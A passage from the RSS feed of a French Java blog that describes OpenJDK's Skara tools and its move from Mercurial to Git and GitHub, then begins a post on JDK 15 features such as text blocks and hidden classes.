&lt;p&gt;git-jcheck : Outil jcheck pour être compatible avec GIT&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;git-webrev : Outil webrev pour être compatible avec GIT&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;git-defpath : Outil defpath pour être compatible avec GIT&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;git-skara : Informations sur les outils Skara CLI&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;git-info : Montrer les informations OpenJDK au sujet des commits : lien avec les fiches JBS, les auteurs, les contributeurs.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est aussi des nouveaux outils, avec par exemple des outils pour échanger avec un fournisseur externe&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;git-fork : &quot;Forker&quot; un projet d&amp;#8217;un fournisseur externe vers un espace personnel, et le cloner optionnellement.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;git-sync : Synchroniser le &quot;fork&quot; personnel avec l&amp;#8217;état courant du dépôt d&amp;#8217;origine.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;git-pr : Interagir avec les &quot;pull requests&quot; avec un fournisseur externe GIT.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;git-token : Interagir avec le gestionnaire pour obtenir un token d&amp;#8217;accès.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;git-translate : Traduire un hash Mercurial en Hash GIT (cf. section précédente).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;git-trees : Exécuter une commande GIT dans une arborescence de dépôts.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;git-publish : Publier une branche locale vers un dépôt distant.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; L&amp;#8217;équipe a rendu disponible les différents outils de Skara sous licence GPL 2.0. Ils sont accessibles à l&amp;#8217;adresse sur le &lt;a href=&quot;https://git.openjdk.java.net/skara&quot;&gt;dépôt GIT du projet&lt;/a&gt;.
Cela permet d&amp;#8217;y contribuer, de l&amp;#8217;utiliser ou de s&amp;#8217;en inspirer pour ces propres projets.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Parmi les outils, il existe aussi des outils coté serveur. Voici quelques exemples :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;mlbridge : Pont entre les messages de liste de diffusion et les &quot;pull requests&quot;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;notify : Envoyer des mails de notifications quand les dépôts sont mis à jours.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;pr : Ajouter le support du workflow OpenJDK pour les &quot;pull requests&quot;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;forward : Faire suivre les commits sur plusieurs dépôts.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;mirror : Faire un dépôt miroir&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;merge : Fusionner des commits entre différents dépôts et/ou branches.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;passage_de_mercurial_à_git_motivations&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/357&quot;&gt;Passage de Mercurial à Git&lt;/a&gt; (Motivations)&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;taille_des_méta_données&quot;&gt;Taille des méta-données&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les méta-données sont de plus en plus volumineux (1.2 Go sous Mercurial, 300 Mo sous Git seulement lors des tests). Cela devenait de plus en plus contraignant pour les développeurs, notamment sur les phases de synchronisation.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;outils&quot;&gt;Outils&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De nombreux outils supportent GIT comme les éditeurs Emacs, Vim ou VSCode qui le supporte nativement. De même, l&amp;#8217;ensemble des IDE (Eclipse, Netbeans et Intellij) le prennent en charge. Là encore, si je prends Eclipse IDE, le support de GIT est disponible tout de suite après l&amp;#8217;installation, sans la nécessité d&amp;#8217;un plugin supplémentaire.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;hébergement&quot;&gt;Hébergement&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il existe plusieurs solutions d&amp;#8217;hébergement comme Gitlab, Sourceforge et Github.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;communauté&quot;&gt;Communauté&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Mercurial est aussi considéré comme un frein à la contribution. Au dela des aspects techniques, ce gestionnaire de sources est peu répandu. Donc, les nouveaux contributeurs doivent passer par une étape supplémentaire en apprenant l&amp;#8217;usage de l&amp;#8217;outil.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;migration_sous_github&quot;&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/369&quot;&gt;Migration sous Github&lt;/a&gt;&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme vu précédemment, une des forces de GIT est d&amp;#8217;avoir plusieurs fournisseurs.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;le_fournisseur_retenu&quot;&gt;Le fournisseur retenu&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le projet &lt;strong&gt;Skara&lt;/strong&gt; a donc évalué les différentes solutions d&amp;#8217;hébergement. C&amp;#8217;est Github qui a été retenu. La grande communauté d&amp;#8217;utilisateurs et le partenariat entre Oracle et Microsoft (propriétaire de Github) ont notamment joué en faveur de cette décision.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est important de noter que le choix du fournisseur n&amp;#8217;implique pas d&amp;#8217;adhérence. Nous pouvons voir que :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;L&amp;#8217;équipe &lt;strong&gt;Skara&lt;/strong&gt; s&amp;#8217;est assuré du bon fonctionnement avec Gitlab par exemple&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le gestionnaire de ticket reste &lt;a href=&quot;https://bugs.openjdk.java.net/projects/JDK&quot;&gt;Java Bug System (JBS)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les liens sont neutres (sans usage de github.com). Par exemple, l&amp;#8217;url officiel est &lt;a href=&quot;https://git.openjdk.java.net/jdk&quot; class=&quot;bare&quot;&gt;https://git.openjdk.java.net/jdk&lt;/a&gt;. Elle redirige vers &lt;a href=&quot;https://github.com/openjdk/jdk&quot; class=&quot;bare&quot;&gt;https://github.com/openjdk/jdk&lt;/a&gt;. Ce type d&amp;#8217;url est utilisé dans le workflow du projet, Ci-dessous un exemple de mail suite à un &quot;commit&quot;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/message-exemple-commit.png&quot; alt=&quot;message exemple commit&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;title&quot;&gt;Figure 3. Exemple de mail suite à un commit&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En cliquant sur le lien &lt;a href=&quot;https://git.openjdk.java.net/jdk/commit/db5da961&quot; class=&quot;bare&quot;&gt;https://git.openjdk.java.net/jdk/commit/db5da961&lt;/a&gt;, nous arrivons finalement sur la page de commit de github.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De même, une url neutre est utilisée pour réaliser la revue de code d&amp;#8217;une &quot;pull request&quot;. Cette dernière redirige vers la page correspondante à la &quot;pull request&quot;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Les outils cités plus haut permettent d&amp;#8217;interagir avec le fournisseur externe, github en l&amp;#8217;occurrence.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;etapes_préparatoires&quot;&gt;Etapes préparatoires&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Certains projets sont passés sous github en avance de phase. Cela a permit de tester en condition réelle les outils et les workflow mis en oeuvre. Ainsi, le projet a bénéficié de retour d&amp;#8217;expérience et des ajustements ont pu être réalisés. Par exemple, le projet &lt;strong&gt;Loom&lt;/strong&gt; a été l&amp;#8217;un des premiers projets en août 2019&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/projet-loom-moving-to-github.png&quot; alt=&quot;projet loom moving to github&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;la_bascule&quot;&gt;La bascule&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La migration a été effectuée du 04 au 05 septembre 2020. Voici un résumé avant et après les opérations :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Avant la migration du 04 septembre,&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&amp;#8201;&amp;#8212;&amp;#8201;Mercurial : Lecture / Ecriture&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&amp;#8201;&amp;#8212;&amp;#8201;Github : Lecture seule&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Après la fin des opérations le 5 septembre&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&amp;#8201;&amp;#8212;&amp;#8201;Mercurial : Lecture seule&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&amp;#8201;&amp;#8212;&amp;#8201;Github : Lecture / Ecriture&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons le voir clairement au niveau des dépôts. Il est bien indiqué que le dépôt jdk11u reste un dépôt miroir du dépôt Mercurial. En revanche le dépôt JDK n&amp;#8217;est plus un miroir mais bel et bien le dépôt principal :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/github-jdk-jdk11u.png&quot; alt=&quot;github jdk jdk11u&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;title&quot;&gt;Figure 4. Dépôt disponible sur github&lt;/div&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Depuis cette date, toutes les modifications passent par des &quot;pull request&quot; depuis github (via l&amp;#8217;interface ou les outils). La première PR n&amp;#8217;a pas tardé car elle a été réalisée dès le 6 septembre 2020 :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/PremierePR-into-JDK16.png&quot; alt=&quot;PremierePR into JDK16&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;title&quot;&gt;Figure 5. Première PR via github&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Suite à la bascule, voici le lien vers la première &quot;pull request&quot; &lt;a href=&quot;https://github.com/openjdk/jdk/pull/23&quot; class=&quot;bare&quot;&gt;https://github.com/openjdk/jdk/pull/23&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Même si nous ne sommes pas contributeur d&apos; OpenJDK, c&amp;#8217;est intéressant de voir comment fonctionne l&amp;#8217;équipe et tout le travail qui est réalisé.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans ce sens, la PR &lt;a href=&quot;https://github.com/openjdk/jdk/pull/1891&quot;&gt;#1891&lt;/a&gt; est intéressante car elle permet de voir le workflow et les outils mentionnés dans ce billet :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;bot openjdk&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;mlbridge (outil coté serveur mentionné plus haut) pour la revue de code.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;revue de code (hors github) : &lt;a href=&quot;https://openjdk.github.io/cr/?repo=jdk&amp;amp;pr=1891&amp;amp;range=00&quot; class=&quot;bare&quot;&gt;https://openjdk.github.io/cr/?repo=jdk&amp;amp;pr=1891&amp;amp;range=00&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;revue de code (depuis github) : &lt;a href=&quot;https://github.com/openjdk/jdk/commit/334bdd2aecdc77324a090e0b5086a2ba071da48c&quot; class=&quot;bare&quot;&gt;https://github.com/openjdk/jdk/commit/334bdd2aecdc77324a090e0b5086a2ba071da48c&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela permet aussi de mieux comprendre les étapes de la sortie d&amp;#8217;un nouveau JDK. En effet, nous avons plusieurs paliers comme &quot;Rampdown&quot;, &quot;Release Candidate&quot;. Par exemple, l&amp;#8217;agenda prévu pour le JDK 16 est le suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/schedule-jdk16.png&quot; alt=&quot;schedule jdk16&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;title&quot;&gt;Figure 6. Agenda du JDK 16&lt;/div&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons lire qu&amp;#8217;au niveau du &quot;Rampdown Phase1&quot;, nous avons une précision &quot;Fork from main line&quot;. Et c&amp;#8217;est bien ce qui se passe, un &quot;fork&quot; du dépôt principal jdk est réalisé pour créer un nouveau dépôt spécifique jdk16.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2021/github-jdk16.png&quot; alt=&quot;github jdk16&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;title&quot;&gt;Figure 7. Dépôt du JDK16&lt;/div&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons espérer que le passage à Git et notamment à Github permettent d&amp;#8217;avoir de nouveaux contributeurs. Pourquoi pas vous ?&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://openjdk.java.net/projects/jdk/16&quot;&gt;Projet JDK 16&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/296&quot;&gt;JEP 296 Consolidate the JDK Forest into a Single Repository&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/357&quot;&gt;JEP 357 Migrate from Mercurial to Git&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/369&quot;&gt;JEP 369 Migrate to GitHub&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://mail.openjdk.java.net/pipermail/skara-dev/2018-September/000000.html&quot;&gt;Premier mail de la liste de diffusion skara-dev&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/pipermail/jdk-dev/2020-September/004691.html&quot;&gt;Mail pour rappel pour la bascule vers github&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://mail.openjdk.java.net/pipermail/jdk-dev/2020-September/004694.html&quot;&gt;Mail de fin des opérations de la bascule vers github&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://git.openjdk.java.net/jdk&quot;&gt;Dépôt GIT du JDK&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://git.openjdk.java.net/nashorn&quot;&gt;Dépôt GIT du projet Nashorn&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://git.openjdk.java.net/skara&quot;&gt;Dépôt GIT du projet Skara&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://bugs.openjdk.java.net/projects/JDK&quot;&gt;Java Bug System (JBS)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://git.openjdk.java.net/jdk/commit/db5da961&quot;&gt;Exemple de commit&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/openjdk/jdk/pull/23&quot;&gt;Première PR après la bascule&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/openjdk/jdk/pull/1891&quot;&gt;Exemple de PR&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.lemagit.fr/actualites/252488982/Java-Oracle-migre-OpenJDK-vers-Git-et-GitHub&quot;&gt;Article LeMagIT sur Oracle migre OpenJDK vers Git et Github&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JDK 15 Nouveautés</title>
      <link>https://www.lilian-benoit.fr/2020/11/JDK15-Nouveautes.html</link>
      <pubDate>ven., 27 nov. 2020 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2020/11/JDK15-Nouveautes.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#nouvelles_fonctionnalités&quot;&gt;Nouvelles fonctionnalités&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#378_text_blocks&quot;&gt;378 - Text Blocks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#371_hidden_classes&quot;&gt;371 - Hidden Classes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#373_reimplement_the_legacy_datagramsocket_api&quot;&gt;373 - Reimplement the Legacy DatagramSocket API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#339_edwards_curve_digital_signature_algorithm_eddsa&quot;&gt;339 - Edwards-Curve Digital Signature Algorithm (EdDSA)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#nouvelles_fonctionnalités_coté_ramasse_miette&quot;&gt;Nouvelles fonctionnalités (Coté ramasse-miette)&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#377_zgc_a_scalable_low_latency_garbage_collector&quot;&gt;377 - ZGC: A Scalable Low-Latency Garbage Collector&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#379_shenandoah_a_low_pause_time_garbage_collector&quot;&gt;379 - Shenandoah: A Low-Pause-Time Garbage Collector&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fonctionnalités_en_mode_aperçu&quot;&gt;Fonctionnalités en mode Aperçu&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#375_pattern_matching_for_instanceof_second_preview&quot;&gt;375 - Pattern Matching for instanceof (Second Preview)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#384_records_second_preview&quot;&gt;384 - Records (Second Preview)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#360_sealed_classes_preview&quot;&gt;360 - Sealed Classes (Preview)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#383_foreign_memory_access_api_second_incubator&quot;&gt;383 - Foreign-Memory Access API (Second Incubator)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#divers&quot;&gt;Divers&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#helpful_nullpointerexception_jdk_8233014&quot;&gt;Helpful NullPointerException (JDK-8233014)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#fonctionnalités_supprimées_et_dépréciées&quot;&gt;Fonctionnalités supprimées et dépréciées&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#372_remove_the_nashorn_javascript_engine&quot;&gt;372 - Remove the Nashorn JavaScript Engine&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#381_remove_the_solaris_and_sparc_ports&quot;&gt;381 - Remove the Solaris and SPARC Ports&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#385_deprecate_rmi_activation_for_removal&quot;&gt;385 - Deprecate RMI Activation for Removal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#374_disable_and_deprecate_biased_locking&quot;&gt;374 - Disable and Deprecate Biased Locking&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La version 15 du JDK est disponible depuis le 15 septembre 2020. Maintenant, cela devient traditionnelle depuis le JDK 10 d&amp;#8217;avoir deux versions par an (en mars et en septembre). A travers ce billet, nous aurons l&amp;#8217;occasion de passer en revue l&amp;#8217;ensemble des nouveautés.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous sommes à un an de la prochaine version LTS (Long Term Support) avec la sortie du JDK 17.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;nouvelles_fonctionnalités&quot;&gt;Nouvelles fonctionnalités&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;378_text_blocks&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/378&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;378 - Text Blocks&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les blocs de textes permettent d&amp;#8217;écrire des chaînes de caractères sur plusieurs lignes de manière simple.
La fonctionnalité a été introduite dans le JDK 13 en mode aperçu. Elle est maintenant disponible dans le langage sans option supplémentaire.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est à dire que l&amp;#8217;ancien code suivant&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String query = &quot;SELECT \&quot;EMP_ID\&quot;, \&quot;LAST_NAME\&quot; FROM \&quot;EMPLOYEE_TB\&quot;\n&quot;+
               &quot;WHERE \&quot;CITY\&quot; = &apos;INDIANAPOLIS&apos;\n&quot; +
               &quot;ORDER BY \&quot;EMP_ID\&quot;, \&quot;LAST_NAME\&quot;;\n&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;devient&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;String query = &quot;&quot;&quot;
               SELECT &quot;EMP_ID&quot;, &quot;LAST_NAME&quot; FROM &quot;EMPLOYEE_TB&quot;
               WHERE &quot;CITY&quot; = &apos;INDIANAPOLIS&apos;
               ORDER BY &quot;EMP_ID&quot;, &quot;LAST_NAME&quot;;
               &quot;&quot;&quot;;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour plus de détail, je vous suggère mon &lt;a href=&quot;/2020/09/Text_Blocks.html&quot;&gt;article dédié sur blocs de texte&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;371_hidden_classes&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/371&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;371 - Hidden Classes&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette fonctionnalité a été proposée par le &lt;a href=&quot;https://wiki.openjdk.java.net/display/valhalla/Main&quot;&gt;projet Valhalla&lt;/a&gt;.
Le but du projet est d&amp;#8217;explorer les possibilités et les évolutions au niveau du langage et de la JVM.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
